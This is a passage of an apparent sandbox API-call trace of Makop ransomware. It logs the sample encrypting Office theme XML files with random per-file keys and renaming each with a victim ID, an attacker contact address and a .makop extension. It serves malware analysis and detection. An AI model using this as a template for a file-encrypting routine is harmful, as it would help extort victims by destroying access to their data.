out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.688] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.688] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.689] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.689] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.689] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.689] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c2, lpOverlapped=0x0) returned 1 [0158.689] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.689] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.690] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.690] SetEndOfFile (hFile=0xf0) returned 1 [0158.696] GetProcessHeap () returned 0x48a0000 [0158.696] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.696] GetProcessHeap () returned 0x48a0000 [0158.696] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.696] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0158.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.698] CloseHandle (hObject=0xf0) returned 1 [0158.698] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0158.698] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml") returned 75 [0158.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.700] GetProcessHeap () returned 0x48a0000 [0158.700] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.700] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.700] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.700] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.700] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.700] GetProcessHeap () returned 0x48a0000 [0158.700] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.700] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.701] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.701] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.705] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.705] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.705] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.705] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.705] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.705] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.706] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.706] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.706] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0158.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.706] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0158.706] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.706] SetEndOfFile (hFile=0xf0) returned 1 [0158.713] GetProcessHeap () returned 0x48a0000 [0158.713] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.713] GetProcessHeap () returned 0x48a0000 [0158.713] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.714] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0158.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.715] CloseHandle (hObject=0xf0) returned 1 [0158.715] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0158.715] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml") returned 76 [0158.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.721] GetProcessHeap () returned 0x48a0000 [0158.721] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.721] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.721] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.721] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0158.726] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.726] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.726] GetProcessHeap () returned 0x48a0000 [0158.726] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.726] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.726] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.726] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.727] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.728] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.728] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.728] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.728] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.728] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.729] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.729] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.729] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.729] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.730] SetEndOfFile (hFile=0xf0) returned 1 [0158.738] GetProcessHeap () returned 0x48a0000 [0158.738] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.738] GetProcessHeap () returned 0x48a0000 [0158.738] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.738] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0158.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.740] CloseHandle (hObject=0xf0) returned 1 [0158.740] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0158.740] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml") returned 75 [0158.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.741] GetProcessHeap () returned 0x48a0000 [0158.741] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.741] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.741] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.741] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.742] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.742] GetProcessHeap () returned 0x48a0000 [0158.742] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.742] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.742] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.742] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.747] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.747] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.748] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.748] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.748] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.749] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0158.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0158.749] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.749] SetEndOfFile (hFile=0xf0) returned 1 [0158.756] GetProcessHeap () returned 0x48a0000 [0158.756] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.756] GetProcessHeap () returned 0x48a0000 [0158.756] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.756] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0158.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.759] CloseHandle (hObject=0xf0) returned 1 [0158.759] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0158.759] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml") returned 81 [0158.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.761] GetProcessHeap () returned 0x48a0000 [0158.761] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.761] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.761] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.761] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0158.767] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.767] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.767] GetProcessHeap () returned 0x48a0000 [0158.767] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.767] 